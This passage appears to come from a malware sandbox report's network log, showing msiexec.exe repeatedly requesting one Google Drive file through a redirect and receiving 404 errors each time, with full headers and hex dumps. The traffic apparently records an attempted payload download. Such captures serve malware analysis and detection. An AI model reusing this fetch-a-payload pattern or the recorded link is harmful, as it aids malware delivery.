2025-02-19 19:37:44 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	50009	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:45 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:45 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:45 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-w9s9i43cUnZBENFvNvCzRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	50010	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:46 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:46 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iFXQ5umEDG5szgW9m4p63_o3YcAi-drPATQXc80QkrbTaqW-ctiYyNl5uM8a53VooVA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:46 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-nPB0wE6uHgeqD1bVTvn35A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:46 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 77 52 6b 78 53 41 55 44 2d 49 77 65 34 4c 41 66 59 4e 5a 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kwRkxSAUD-Iwe4LAfYNZzg">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:46 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	50011	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:47 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:47 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:47 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-F9DErM1Vp21dhAL9pFhGYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	50012	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:48 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:49 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGxMxoekkSEp1sZXmZoED0GHzAGu6zLCnR1tpmjDRnJ6PahrfAh9Z6NGms4B0XWz4TF Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:48 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-xgMTbqDGCZ_67RMl7sTtnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:49 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 46 64 30 51 44 49 53 45 77 51 34 75 37 30 65 55 59 76 75 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kFd0QDISEwQ4u70eUYvuJA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:49 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	50013	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:49 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:50 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:50 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-3sTl_sVoIEhBL3Bo7AUeMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	50014	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:50 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:51 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGD3Iq9QdEArlWKcG9IJEP1h14mhSgbzkRPkRZDlkzeVQGr7A9KhbP6wei0vHePfIyN Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:51 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-1NXfssW20VKzLLZj4_G0Rg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:51 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 71 61 38 72 4f 4d 79 71 58 7a 6a 77 38 51 45 2d 56 7a 75 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vqa8rOMyqXzjw8QE-VzufQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:51 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	50015	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:52 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:52 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:52 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-KOALgRwWtylcAi-CSUemag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	50016	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:53 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:53 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iESV4O_L2XMC8KHb2jlSRnKRxO-DgRzt4KQ8m_tO8aDIRAxo8nfq5E9ntaLvzgAdE8M4zftZCI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:53 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-WM-TdzsgdFtc_9OcO7GXZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:53 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 7a 4c 48 6c 65 63 6a 4d 66 4e 63 5a 68 47 44 47 31 5a 7a 6c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6zLHlecjMfNcZhGDG1ZzlQ">*{margin:0;padding:0}html,code{font:15px/22px arial
